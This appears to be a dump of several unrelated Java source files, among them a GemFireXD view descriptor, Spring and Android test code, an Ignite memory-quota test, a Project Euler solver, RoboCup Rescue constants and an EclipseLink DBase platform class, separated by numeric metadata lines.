com.pivotal.gemfirexd.internal.iapi.sql.StatementType; import com.pivotal.gemfirexd.internal.iapi.sql.conn.LanguageConnectionContext; import com.pivotal.gemfirexd.internal.iapi.sql.depend.DependencyManager; import com.pivotal.gemfirexd.internal.iapi.sql.depend.Dependent; import com.pivotal.gemfirexd.internal.iapi.sql.depend.Provider; import com.pivotal.gemfirexd.internal.iapi.sql.dictionary.GenericDescriptorList; import com.pivotal.gemfirexd.internal.iapi.store.access.TransactionController; import com.pivotal.gemfirexd.internal.impl.sql.execute.DropTriggerConstantAction; import com.pivotal.gemfirexd.internal.shared.common.StoredFormatIds; /** * This is the implementation of ViewDescriptor. Users of View descriptors * should only use the following methods: * <ol> * <li> getUUID * <li> setUUID * <li> getViewText * <li> setViewName * <li> getCheckOptionType * <li> getCompSchemaId * </ol> * * @version 0.1 */ public final class ViewDescriptor extends TupleDescriptor implements UniqueTupleDescriptor, Dependent, Provider { private final int checkOption; private String viewName; private final String viewText; private UUID uuid; private final UUID compSchemaId; public static final int NO_CHECK_OPTION = 0; /** * Constructor for a ViewDescriptor. * * @param dataDictionary The data dictionary that this descriptor lives in * @param viewID The UUID for the view * @param viewName The name of the view * @param viewText The text of the query expression from the view definition. * @param checkOption int check option type * @param compSchemaId the schemaid to compile in */ public ViewDescriptor(DataDictionary dataDictionary, UUID viewID, String viewName, String viewText, int checkOption, UUID compSchemaId) { super( dataDictionary ); uuid = viewID; this.viewText = viewText; this.viewName = viewName; /* RESOLVE - No check options for now */ if (SanityManager.DEBUG) { if (checkOption != ViewDescriptor.NO_CHECK_OPTION) { SanityManager.THROWASSERT("checkOption (" + checkOption + ") expected to be " + ViewDescriptor.NO_CHECK_OPTION); } } this.checkOption = checkOption; this.compSchemaId = compSchemaId; } // // ViewDescriptor interface // /** * Gets the UUID of the view. * * @return The UUID of the view. */ public UUID getUUID() { return uuid; } /** * Sets the UUID of the view. * * @param uuid The UUID of the view. */ public void setUUID(UUID uuid) { this.uuid = uuid; } /** * Gets the text of the view definition. * * @return A String containing the text of the CREATE VIEW * statement that created the view */ public String getViewText() { return viewText; } /** * Sets the name of the view. * * @param name The name of the view. */ public void setViewName(String name) { viewName = name; } /** * Gets an identifier telling what type of check option * is on this view. * * @return An identifier telling what type of check option * is on the view. */ public int getCheckOptionType() { return checkOption; } /** * Get the compilation type schema id when this view * was first bound. * * @return the schema UUID */ public UUID getCompSchemaId() { return compSchemaId; } // // Provider interface // /** @return the stored form of this provider @see Dependable#getDependableFinder */ public DependableFinder getDependableFinder() { return getDependableFinder(StoredFormatIds.VIEW_DESCRIPTOR_FINDER_V01_ID); } /** * Return the name of this Provider. (Useful for errors.) * * @return String The name of this provider. */ public String getObjectName() { return viewName; } /** * Get the provider's UUID * * @return String The provider's UUID */ public UUID getObjectID() { return uuid; } /** * Get the provider's type. * * @return String The provider's type. */ public String getClassType() { return Dependable.VIEW; } // // Dependent Inteface // /** Check that all of the dependent's dependencies are valid. @return true if the dependent is currently valid */ public boolean isValid() { return true; } /** Prepare to mark the dependent as invalid (due to at least one of its dependencies being invalid). @param action The action causing the invalidation @param p the provider @exception StandardException thrown if unable to make it invalid */ public void prepareToInvalidate(Provider p, int action, LanguageConnectionContext lcc) throws StandardException { switch ( action ) { /* * We don't care about creating or dropping indexes or * alter table on an underlying table. */ case DependencyManager.CREATE_INDEX: case DependencyManager.DROP_INDEX: case DependencyManager.DROP_COLUMN: case DependencyManager.CREATE_CONSTRAINT: case DependencyManager.ALTER_TABLE: case DependencyManager.CREATE_TRIGGER: case DependencyManager.DROP_TRIGGER: case DependencyManager.BULK_INSERT: case DependencyManager.COMPRESS_TABLE: case DependencyManager.RENAME_INDEX: case DependencyManager.UPDATE_STATISTICS: case DependencyManager.DROP_STATISTICS: case DependencyManager.TRUNCATE_TABLE: /* ** Set constriants is a bit odd in that it ** will send a SET_CONSTRAINTS on the table ** when it enables a constraint, rather than ** on the constraint. So since we depend on ** the table, we have to deal with this action. */ case DependencyManager.SET_CONSTRAINTS_ENABLE: case DependencyManager.SET_TRIGGERS_ENABLE: //When REVOKE_PRIVILEGE gets sent (this happens for privilege //types SELECT, UPDATE, DELETE, INSERT, REFERENCES, TRIGGER), we //don't do anything here. Later in makeInvalid method, we make //the ViewDescriptor drop itself. case DependencyManager.REVOKE_PRIVILEGE: // When REVOKE_PRIVILEGE gets sent to a // TablePermsDescriptor we must also send // INTERNAL_RECOMPILE_REQUEST to its Dependents which // may be GPSs needing re-compilation. But Dependents // could also be ViewDescriptors, which then also need // to handle this event. case DependencyManager.INTERNAL_RECOMPILE_REQUEST: break; //Notice that REVOKE_PRIVILEGE_RESTRICT is not caught earlier. //It gets handled in this default: action where an exception //will be thrown. This is because, if such an invalidation //action type is ever received by a dependent, the dependent //show throw an exception. //In Derby, at this point, REVOKE_PRIVILEGE_RESTRICT gets sent //when execute privilege on a routine is getting revoked. // DROP_COLUMN_RESTRICT is similar. Any case which arrives // at this default: statement causes the exception to be // thrown, indicating that the DDL modification should be // rejected because a view is dependent on the underlying // object (table, column, privilege, etc.) default: DependencyManager dm; dm = getDataDictionary().getDependencyManager(); throw StandardException.newException(SQLState.LANG_PROVIDER_HAS_DEPENDENT_VIEW, dm.getActionString(action), p.getObjectName(), viewName); } // end switch } /** Mark the dependent as invalid (due to at least one of its dependencies being invalid). @param action The action causing the invalidation @exception StandardException thrown if unable to make it invalid */ public void makeInvalid(int action, LanguageConnectionContext lcc) throws StandardException { switch ( action ) { /* We don't care about creating or dropping indexes or * alter table on an underlying table. */ case DependencyManager.CREATE_INDEX: case DependencyManager.DROP_INDEX: case DependencyManager.ALTER_TABLE: case DependencyManager.CREATE_CONSTRAINT: case DependencyManager.BULK_INSERT: case DependencyManager.COMPRESS_TABLE: case DependencyManager.SET_CONSTRAINTS_ENABLE: case DependencyManager.SET_TRIGGERS_ENABLE: case DependencyManager.CREATE_TRIGGER: case DependencyManager.DROP_TRIGGER: case DependencyManager.RENAME_INDEX: case DependencyManager.UPDATE_STATISTICS: case DependencyManager.DROP_STATISTICS: case DependencyManager.TRUNCATE_TABLE: // When REVOKE_PRIVILEGE gets sent to a // TablePermsDescriptor we must also send // INTERNAL_RECOMPILE_REQUEST to its Dependents which // may be GPSs needing re-compilation. But Dependents // could also be ViewDescriptors, which then also need // to handle this event. case DependencyManager.INTERNAL_RECOMPILE_REQUEST: break; //When REVOKE_PRIVILEGE gets sent (this happens for privilege //types SELECT, UPDATE, DELETE, INSERT, REFERENCES, TRIGGER), we //make the ViewDescriptor drop itself. case DependencyManager.REVOKE_PRIVILEGE: case DependencyManager.DROP_COLUMN: drop(lcc, getDataDictionary().getTableDescriptor(uuid).getSchemaDescriptor(), getDataDictionary().getTableDescriptor(uuid)); lcc.getLastActivation().addWarning( StandardException.newWarning( SQLState.LANG_VIEW_DROPPED, this.getObjectName() )); return; default: /* We should never get here, since we can't have dangling references */ if (SanityManager.DEBUG) { SanityManager.THROWASSERT("did not expect to get called"); } break; } // end switch } // // class interface // /** * Prints the contents of the ViewDescriptor * * @return The contents as a String */ public String toString() { if (SanityManager.DEBUG) { return "uuid: " + uuid + " viewName: " + viewName + "\n" + "viewText: " + viewText + "\n" + "checkOption: " + checkOption + "\n" + "compSchemaId: " + compSchemaId + "\n"; } else { return ""; } } public void drop(LanguageConnectionContext lcc, SchemaDescriptor sd, TableDescriptor td) throws StandardException { DataDictionary dd = getDataDictionary(); DependencyManager dm = dd.getDependencyManager(); TransactionController tc = lcc.getTransactionExecute(); /* Drop the columns */ dd.dropAllColumnDescriptors(td.getUUID(), tc); /* Prepare all dependents to invalidate. (This is there chance * to say that they can't be invalidated. For example, an open * cursor referencing a table/view that the user is attempting to * drop.) If no one objects, then invalidate any dependent objects. */ dm.invalidateFor(td, DependencyManager.DROP_VIEW, lcc); /* Clear the dependencies for the view */ dm.clearDependencies(lcc, this); /* Drop the view */ dd.dropViewDescriptor(this, tc); /* Drop all table and column permission descriptors */ dd.dropAllTableAndColPermDescriptors(td.getUUID(), tc); /* Drop the table */ dd.dropTableDescriptor(td, sd, tc); } }
28.882759
101
0.71283
0913639360f0aa086ce49299fca94319bbfcdb8a
913
package io.github.imsejin.jsonrpc4j.server.config; import com.googlecode.jsonrpc4j.spring.AutoJsonRpcServiceImplExporter; import com.googlecode.jsonrpc4j.spring.JsonServiceExporter; import io.github.imsejin.jsonrpc4j.server.service.UserService; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Primary; @Configuration class ExporterConfig { @Bean @Primary AutoJsonRpcServiceImplExporter autoJsonRpcServiceImplExporter() { return new AutoJsonRpcServiceImplExporter(); } @Primary @Bean("/apis/users.json") JsonServiceExporter jsonServiceExporter(UserService service) { JsonServiceExporter exporter = new JsonServiceExporter(); exporter.setServiceInterface(UserService.class); exporter.setService(service); return exporter; } }
30.433333
70
0.782037
5c67e2ebf0fff240d25215d331b49b89a88ca383
2,560
package com.google.developer.bugmaster; import android.content.Intent; import android.database.Cursor; import android.support.test.espresso.core.deps.guava.base.Objects; import android.support.test.espresso.matcher.BoundedMatcher; import android.support.test.rule.ActivityTestRule; import android.support.test.runner.AndroidJUnit4; import android.view.View; import android.widget.TextView; import com.google.developer.bugmaster.data.DatabaseManager; import com.google.developer.bugmaster.data.Insect; import org.hamcrest.Description; import org.junit.Rule; import org.junit.Test; import org.junit.runner.RunWith; import static android.support.test.InstrumentationRegistry.getInstrumentation; import static android.support.test.espresso.Espresso.onView; import static android.support.test.espresso.assertion.ViewAssertions.matches; import static android.support.test.espresso.matcher.ViewMatchers.withId; import static com.google.developer.bugmaster.InsectDetailsActivity.INSECT_ID; //Testing Task 2 @RunWith(AndroidJUnit4.class) public class InsectDetailsActivityTest { @Rule public ActivityTestRule mActivityRule = new ActivityTestRule<>( InsectDetailsActivity.class, false, false); public static BoundedMatcher<View, TextView> hasTheRightText(final String text) { return new BoundedMatcher<View, TextView>(TextView.class) { @Override protected boolean matchesSafely(TextView textView) { return (Objects.equal(textView.getText(), text)); } @Override public void describeTo(Description description) { description.appendText("has the right text"); } }; } @Test public void ensureInsectTextIsDisplayed() { //We get an insect Cursor mCursor = DatabaseManager.getInstance(getInstrumentation().getTargetContext()).queryAllInsects(null); mCursor.moveToFirst(); Insect insect = new Insect(mCursor); Intent intent = new Intent(); //We pass it to the activity intent.putExtra(INSECT_ID, insect.id); mActivityRule.launchActivity(intent); //We check if the activity displays the text contents of the insect we passed to it onView(withId(R.id.common_name_detail)).check(matches(hasTheRightText(insect.name))); onView(withId(R.id.scientific_name_detail)).check(matches(hasTheRightText(insect.scientificName))); onView(withId(R.id.classification)).check(matches(hasTheRightText(insect.classification))); } }
39.384615
116
0.739453
ddc5d235026848865393201d1b5c52157a124ead
5,680
/* * Copyright 2019 GridGain Systems, Inc. and Contributors. * * Licensed under the GridGain Community Edition License (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.gridgain.com/products/software/community-edition/gridgain-community-edition-license * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.ignite.internal.processors.query.oom; import org.apache.ignite.Ignite; import org.apache.ignite.cache.query.SqlFieldsQuery; import org.apache.ignite.cache.query.exceptions.SqlMemoryQuotaExceededException; import org.apache.ignite.internal.IgniteEx; import org.apache.ignite.internal.processors.query.h2.QueryMemoryManager; import org.apache.ignite.internal.util.typedef.G; import org.apache.ignite.testframework.GridTestUtils; import org.junit.Test; /** * Test cases for interaction of static and dynamic configuration. */ public class MemoryQuotaStaticAndDynamicConfigurationTest extends AbstractMemoryQuotaStaticConfigurationTest { /** * start with quotas turn off * enable quota runtime via JMX * ensure quota enabled * * @throws Exception If failed. */ @Test public void testGlobalQuota() throws Exception { initGrid("0", "0", null); final String qry = "SELECT * FROM person ORDER BY name"; checkQuery(Result.SUCCESS_NO_OFFLOADING, qry); setGlobalQuota("100"); checkQuery(Result.ERROR_GLOBAL_QUOTA, qry); setGlobalQuota("0"); // Disable global quota. checkQuery(Result.SUCCESS_NO_OFFLOADING, qry); } /** * start with default configuration * enable offloading runtime via JMX * ensure offloading enabled * * @throws Exception If failed. */ @Test public void testOffloading() throws Exception { initGrid("0", "0", null); final String qry = "SELECT * FROM person ORDER BY name"; checkQuery(Result.SUCCESS_NO_OFFLOADING, qry); setDefaultQueryQuota("100"); checkQuery(Result.ERROR_QUERY_QUOTA, qry); setDefaultQueryQuota("0"); // Disable query quota. checkQuery(Result.SUCCESS_NO_OFFLOADING, qry); } /** * start with default configuration * enable per-query quota runtime via JMX * ensure per-query enabled * * @throws Exception If failed. */ @Test public void testQueryQuota() throws Exception { initGrid("0", "0", null); final String qry = "SELECT * FROM person ORDER BY name"; checkQuery(Result.SUCCESS_NO_OFFLOADING, qry); setDefaultQueryQuota("100"); checkQuery(Result.ERROR_QUERY_QUOTA, qry); setDefaultQueryQuota("0"); // Disable query quota. checkQuery(Result.SUCCESS_NO_OFFLOADING, qry); } /** * start with offloading enabled * disable offloading runtime via JMX * ensure offloading disabled * * @throws Exception If failed. */ @Test public void testOffloadingEnabledByDefault() throws Exception { initGrid(null, "100", true); final String qry = "SELECT * FROM person ORDER BY id"; checkQuery(Result.SUCCESS_WITH_OFFLOADING, qry); setOffloadingEnabled(false); checkQuery(Result.ERROR_QUERY_QUOTA, qry); setOffloadingEnabled(true); checkQuery(Result.SUCCESS_WITH_OFFLOADING, qry); } /** * start with two nodes with default settings * dynamically set tiny quota on one of nodes via JMX * execute local query on both nodes. * ensure meaningful exception is thrown on node where tiny quota is configured * ensure no exception is thrown on node with default quota * * @throws Exception If failed. */ @Test public void testTwoNodesDifferentSettings() throws Exception { initGrid(null, null, null); startGrid(1); awaitPartitionMapExchange(); final String qry = "SELECT * FROM person ORDER BY name"; grid(1).cache(DEFAULT_CACHE_NAME).query(new SqlFieldsQuery(qry).setLocal(true)).getAll(); grid(1).cache(DEFAULT_CACHE_NAME).query(new SqlFieldsQuery(qry).setLocal(true)).getAll(); memoryManager(grid(0)).setQueryQuota("10"); GridTestUtils.assertThrows(log, () -> { grid(0).cache(DEFAULT_CACHE_NAME).query(new SqlFieldsQuery(qry).setLocal(true)).getAll(); }, SqlMemoryQuotaExceededException.class, "SQL query ran out of memory: Query quota was exceeded."); grid(1).cache(DEFAULT_CACHE_NAME).query(new SqlFieldsQuery(qry).setLocal(true)).getAll(); } /** */ private void setGlobalQuota(String newQuota) { for (Ignite node : G.allGrids()) { QueryMemoryManager memMgr = memoryManager((IgniteEx)node); memMgr.setGlobalQuota(newQuota); } } /** */ private void setDefaultQueryQuota(String newQuota) { for (Ignite node : G.allGrids()) { QueryMemoryManager memMgr = memoryManager((IgniteEx)node); memMgr.setQueryQuota(newQuota); } } /** */ private void setOffloadingEnabled(boolean enabled) { for (Ignite node : G.allGrids()) { QueryMemoryManager memMgr = memoryManager((IgniteEx)node); memMgr.setOffloadingEnabled(enabled); } } }
30.702703
110
0.673592
edd209136adddade20374d8957fc64250144f2c0
929
package com.tjpeisde.onlineordersystem.service; import com.tjpeisde.onlineordersystem.dao.MenuInfoDao; import com.tjpeisde.onlineordersystem.entity.Catalog; import com.tjpeisde.onlineordersystem.entity.MenuItem; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import java.util.List; @Service public class MenuInfoService { @Autowired private MenuInfoDao menuInfoDao; public List<Catalog> getCatalogs() { return menuInfoDao.getCatalogs(); } public List<MenuItem> getMenusByCatalog(int catalogId) { return menuInfoDao.getMenusByCatalog(catalogId); } public MenuItem getMenuItem(int menuItemId) { return menuInfoDao.getMenuItem(menuItemId); } public List<MenuItem> getAllMenuItems(){ System.out.println("get all menu items"); return menuInfoDao.getMenuItems();} }
33.178571
63
0.737352
bb922c1f3e72352948b615f9f9a1e0c919c1778f
3,661
import java.util.HashSet; import java.util.Set; public class Problem75 { /** * Inner class to define pythagoran triplets as an object * The APIs of this class includes: * 1. length() : length of right-angled triangle by sum of all three sides * 2. toString() : string representation of the triplets */ private static class PythagoreanTriplet { private int a; private int b; private int c; public PythagoreanTriplet(int a, int b, int c) { this.a = Math.min(a, b); this.b = Math.max(a, b); this.c = c; } public int length() { return this.a + this.b + this.c; } @Override public String toString() { return "(" + this.a + ", " + this.b + ", " + this.c + ")"; } } /** * Method to get greatest common divisor of two numbers * * @param a * @param b */ private static boolean gcd(int a, int b) { while (b > 0) { int temp = b; b = a % b; a = temp; } return a == 1; } /** * Main method to execute * From the given article :- https://en.wikipedia.org/wiki/Pythagorean_triple#Generating_a_triple * Euclid's formula[3] is a fundamental formula for generating Pythagorean triples given an arbitrary pair of * integers m and n with m > n > 0. The formula states that the integers * * a = m^2 - n^2, b = 2mn, c = m^2 + n^2 * * form a Pythagorean triple. The triple generated by Euclid's formula is primitive if and only if m and n are * coprime and not both odd. * Despite generating all primitive triples, Euclid's formula does not produce all triples—for example, (9, 12, * 15) cannot be generated using integer m and n. This can be remedied by inserting an additional parameter k to * the formula. The following will generate all Pythagorean triples uniquely: * * a = k . (m^2 - n^2), b = k . (2mn), c = k . (m^2 + n^2) * * Algo :- * 1. Start two for loops for values of m and n * 2. If gcd(m, n) != 1, then continue * 3. Get all triplets for all values of k = 1 to k = threshold limit * 4. To get threshold limit of m, consider (a + b + c < threshold) * => m^2 - 1 + 2 * m + m^2 + 1 < threshold * => 2m^2 + 2m < threshold * * @param args */ public static void main(String[] args) { long startTime = System.currentTimeMillis(); int threshold = 1500000; int[] countArray = new int[threshold + 1]; Set<String> set = new HashSet<>(); for (int m = 2; ; m++) { if ((m * m) + m > (threshold / 2)) { break; } for (int n = m - 1; n > 0; n--) { if (!gcd(m, n)) { continue; } int a = (m * m) - (n * n); int b = 2 * m * n; int c = (m * m) + (n * n); for (int k = 1; ; k++) { PythagoreanTriplet triplet = new PythagoreanTriplet(k * a, k * b, k * c); if (triplet.length() > threshold) { break; } if (set.contains(triplet.toString())) { continue; } set.add(triplet.toString()); countArray[triplet.length()]++; } } } int count = 0; for (int val : countArray) { if (val == 1) { count++; } } System.out.println(count); long endTime = System.currentTimeMillis(); System.out.println("Time taken : " + (endTime - startTime)); } }
33.281818
116
0.516252
2b215965160c457322e71ab5abe22d162ee48a9c
9,884
/* * Last change: $Date: 2004/05/20 23:41:59 $ * $Revision: 1.9 $ * * Copyright (c) 2004, The Black Sheep, Department of Computer Science, The University of Auckland * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of The Black Sheep, The Department of Computer Science or The University of Auckland nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package rescuecore; /** A whole pile of useful constants */ public final class RescueConstants { private RescueConstants() {} public final static int MAX_EXTINGUISH_DISTANCE = 30000; public final static int MAX_EXTINGUISH_POWER = 1000; public final static int MAX_WATER = 15000; public final static int MAX_RESCUE_DISTANCE = 30000; public final static int MAX_HP = 10000; public final static int MAX_VISION = 10000; public final static int SAY_LENGTH = 256; public final static int TELL_LENGTH = 256; public final static int MAX_PLATOON_MESSAGES = 4; public final static int MAX_CENTER_MESSAGES = 2; public final static int COMPONENT_TYPE_AGENT = 1; public final static int COMPONENT_TYPE_SIMULATOR = 2; public final static int COMPONENT_TYPE_VIEWER = 3; public final static int BYTE_SIZE = 1; public final static int SHORT_SIZE = 2; public final static int INT_SIZE = 4; public final static int FIERYNESS_NOT_BURNT = 0; public final static int FIERYNESS_HEATING = 1; public final static int FIERYNESS_BURNING = 2; public final static int FIERYNESS_INFERNO = 3; public final static int FIERYNESS_WATER_DAMAGE = 4; public final static int FIERYNESS_SLIGHTLY_BURNT = 5; public final static int FIERYNESS_MODERATELY_BURNT = 6; public final static int FIERYNESS_VERY_BURNT = 7; public final static int FIERYNESS_BURNT_OUT = 8; public final static int NUM_FIERYNESS_LEVELS = 9; public final static int TYPE_NULL = 0; public final static int TYPE_WORLD = 0x01; public final static int TYPE_ROAD = 0x02; public final static int TYPE_RIVER = 0x03; public final static int TYPE_NODE = 0x04; public final static int TYPE_RIVER_NODE = 0x05; public final static int TYPE_BUILDING = 0x20; public final static int TYPE_REFUGE = 0x21; public final static int TYPE_FIRE_STATION = 0x22; public final static int TYPE_AMBULANCE_CENTER = 0x23; public final static int TYPE_POLICE_OFFICE = 0x24; public final static int TYPE_CIVILIAN = 0x40; public final static int TYPE_CAR = 0x41; public final static int TYPE_FIRE_BRIGADE = 0x42; public final static int TYPE_AMBULANCE_TEAM = 0x43; public final static int TYPE_POLICE_FORCE = 0x44; public final static int AGENT_TYPE_CIVILIAN = 0x01; public final static int AGENT_TYPE_FIRE_BRIGADE = 0x02; public final static int AGENT_TYPE_FIRE_STATION = 0x04; public final static int AGENT_TYPE_AMBULANCE_TEAM = 0x08; public final static int AGENT_TYPE_AMBULANCE_CENTER = 0x10; public final static int AGENT_TYPE_POLICE_FORCE = 0x20; public final static int AGENT_TYPE_POLICE_OFFICE = 0x40; public final static int AGENT_TYPE_ANY_MOBILE = AGENT_TYPE_FIRE_BRIGADE | AGENT_TYPE_AMBULANCE_TEAM | AGENT_TYPE_POLICE_FORCE; public final static int AGENT_TYPE_ANY_BUILDING = AGENT_TYPE_FIRE_STATION | AGENT_TYPE_AMBULANCE_CENTER | AGENT_TYPE_POLICE_OFFICE; public final static int AGENT_TYPE_ANY_AGENT = AGENT_TYPE_ANY_MOBILE | AGENT_TYPE_ANY_BUILDING; public final static int AGENT_TYPE_ANY = AGENT_TYPE_ANY_MOBILE | AGENT_TYPE_ANY_BUILDING | AGENT_TYPE_CIVILIAN; public final static int PROPERTY_NULL = 0; public final static int PROPERTY_MIN = 1; public final static int PROPERTY_START_TIME = 1; public final static int PROPERTY_LONGITUDE = 2; public final static int PROPERTY_LATITUDE = 3; public final static int PROPERTY_WIND_FORCE = 4; public final static int PROPERTY_WIND_DIRECTION = 5; public final static int PROPERTY_HEAD = 6; public final static int PROPERTY_TAIL = 7; public final static int PROPERTY_LENGTH = 8; public final static int PROPERTY_ROAD_KIND = 9; public final static int PROPERTY_CARS_PASS_TO_HEAD = 10; public final static int PROPERTY_CARS_PASS_TO_TAIL = 11; public final static int PROPERTY_HUMANS_PASS_TO_HEAD = 12; public final static int PROPERTY_HUMANS_PASS_TO_TAIL = 13; public final static int PROPERTY_WIDTH = 14; public final static int PROPERTY_BLOCK = 15; public final static int PROPERTY_REPAIR_COST = 16; public final static int PROPERTY_MEDIAN_STRIP = 17; public final static int PROPERTY_LINES_TO_HEAD = 18; public final static int PROPERTY_LINES_TO_TAIL = 19; public final static int PROPERTY_WIDTH_FOR_WALKERS = 20; public final static int PROPERTY_SIGNAL = 21; public final static int PROPERTY_SHORTCUT_TO_TURN = 22; public final static int PROPERTY_POCKET_TO_TURN_ACROSS = 23; public final static int PROPERTY_SIGNAL_TIMING = 24; public final static int PROPERTY_X = 25; public final static int PROPERTY_Y = 26; public final static int PROPERTY_EDGES = 27; public final static int PROPERTY_FLOORS = 28; public final static int PROPERTY_BUILDING_ATTRIBUTES = 29; public final static int PROPERTY_IGNITION = 30; public final static int PROPERTY_FIERYNESS = 31; public final static int PROPERTY_BROKENNESS = 32; public final static int PROPERTY_ENTRANCES = 33; public final static int PROPERTY_BUILDING_CODE = 34; public final static int PROPERTY_BUILDING_AREA_GROUND = 35; public final static int PROPERTY_BUILDING_AREA_TOTAL = 36; public final static int PROPERTY_BUILDING_APEXES = 37; public final static int PROPERTY_POSITION = 38; public final static int PROPERTY_POSITION_EXTRA = 39; public final static int PROPERTY_DIRECTION = 40; public final static int PROPERTY_POSITION_HISTORY = 41; public final static int PROPERTY_STAMINA = 42; public final static int PROPERTY_HP = 43; public final static int PROPERTY_DAMAGE = 44; public final static int PROPERTY_BURIEDNESS = 45; public final static int PROPERTY_WATER_QUANTITY = 46; public final static int PROPERTY_BUILDING_TEMPERATURE = 47; public final static int PROPERTY_BUILDING_IMPORTANCE = 48; public final static int PROPERTY_MAX = 48; public final static int HEADER_NULL = 0; public final static int KG_CONNECT = 0x10; public final static int KG_ACKNOWLEDGE = 0x11; public final static int GK_CONNECT_OK = 0x12; public final static int GK_CONNECT_ERROR = 0x13; public final static int SK_CONNECT = 0x20; public final static int SK_ACKNOWLEDGE = 0x21; public final static int SK_UPDATE = 0x22; public final static int KS_CONNECT_OK = 0x23; public final static int KS_CONNECT_ERROR = 0x24; public final static int VK_CONNECT = 0x30; public final static int VK_ACKNOWLEDGE = 0x31; public final static int KV_CONNECT_OK = 0x32; public final static int KV_CONNECT_ERROR = 0x33; public final static int AK_CONNECT = 0x40; public final static int AK_ACKNOWLEDGE = 0x41; public final static int KA_CONNECT_OK = 0x42; public final static int KA_CONNECT_ERROR = 0x43; public final static int KA_SENSE = 0x44; public final static int KA_HEAR = 0x45; public final static int KA_HEAR_SAY = 0x46; public final static int KA_HEAR_TELL = 0x47; public final static int UPDATE = 0x50; public final static int COMMANDS = 0x51; public final static int AK_REST = 0x80; public final static int AK_MOVE = 0x81; public final static int AK_LOAD = 0x82; public final static int AK_UNLOAD = 0x83; public final static int AK_SAY = 0x84; public final static int AK_TELL = 0x85; public final static int AK_EXTINGUISH = 0x86; // public final static int AK_STRETCH = 0x87; public final static int AK_RESCUE = 0x88; public final static int AK_CLEAR = 0x89; public final static int AK_CHANNEL = 0x90; public final static int AK_REPAIR = 0x91; //changed from 90 public final static Object SOURCE_SENSE = "KA_SENSE"; public final static Object SOURCE_INITIAL = "KA_CONNECT_OK"; public final static Object SOURCE_UNKNOWN = "Unknown"; public final static Object SOURCE_NONE = "None"; public final static Object SOURCE_ASSUMED = "Assumed"; public final static Object SOURCE_UPDATE = "Update"; public final static int VALUE_UNKNOWN = -2; public final static int VALUE_ASSUMED = -1; }
50.428571
757
0.759207
3b4a1a9cce2ad3ce34f07df7f1d86a6180abb6ff
7,443
/******************************************************************************* * Copyright (c) 1998, 2015 Oracle and/or its affiliates. All rights reserved. * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v1.0 and Eclipse Distribution License v. 1.0 * which accompanies this distribution. * The Eclipse Public License is available at http://www.eclipse.org/legal/epl-v10.html * and the Eclipse Distribution License is available at * http://www.eclipse.org/org/documents/edl-v10.php. * * Contributors: * Oracle - initial API and implementation from Oracle TopLink ******************************************************************************/ package org.eclipse.persistence.platform.database; import java.io.*; import java.sql.PreparedStatement; import java.sql.SQLException; import java.util.*; import org.eclipse.persistence.internal.databaseaccess.FieldTypeDefinition; import org.eclipse.persistence.internal.sessions.AbstractSession; /** * <p><b>Purpose</b>: Provides DBase specific behavior. * <p><b>Responsibilities</b>:<ul> * <li> Writing Time {@literal &} Timestamp as strings since they are not supported. * </ul> * * @since TOPLink/Java 1.0 */ public class DBasePlatform extends org.eclipse.persistence.platform.database.DatabasePlatform { protected Hashtable buildFieldTypes() { Hashtable fieldTypeMapping; fieldTypeMapping = new Hashtable(); fieldTypeMapping.put(Boolean.class, new FieldTypeDefinition("NUMBER", 1)); fieldTypeMapping.put(Integer.class, new FieldTypeDefinition("NUMBER", 11)); fieldTypeMapping.put(Long.class, new FieldTypeDefinition("NUMBER", 19)); fieldTypeMapping.put(Float.class, new FieldTypeDefinition("NUMBER", 12, 5).setLimits(19, 0, 19)); fieldTypeMapping.put(Double.class, new FieldTypeDefinition("NUMBER", 10, 5).setLimits(19, 0, 19)); fieldTypeMapping.put(Short.class, new FieldTypeDefinition("NUMBER", 6)); fieldTypeMapping.put(Byte.class, new FieldTypeDefinition("NUMBER", 4)); fieldTypeMapping.put(java.math.BigInteger.class, new FieldTypeDefinition("NUMBER", 19)); fieldTypeMapping.put(java.math.BigDecimal.class, new FieldTypeDefinition("NUMBER", 19).setLimits(19, 0, 9)); fieldTypeMapping.put(Number.class, new FieldTypeDefinition("NUMBER", 19).setLimits(19, 0, 9)); fieldTypeMapping.put(String.class, new FieldTypeDefinition("CHAR", DEFAULT_VARCHAR_SIZE)); fieldTypeMapping.put(Character.class, new FieldTypeDefinition("CHAR", 1)); fieldTypeMapping.put(Byte[].class, new FieldTypeDefinition("BINARY")); fieldTypeMapping.put(Character[].class, new FieldTypeDefinition("MEMO")); fieldTypeMapping.put(byte[].class, new FieldTypeDefinition("BINARY")); fieldTypeMapping.put(char[].class, new FieldTypeDefinition("MEMO")); fieldTypeMapping.put(java.sql.Blob.class, new FieldTypeDefinition("BINARY")); fieldTypeMapping.put(java.sql.Clob.class, new FieldTypeDefinition("MEMO")); 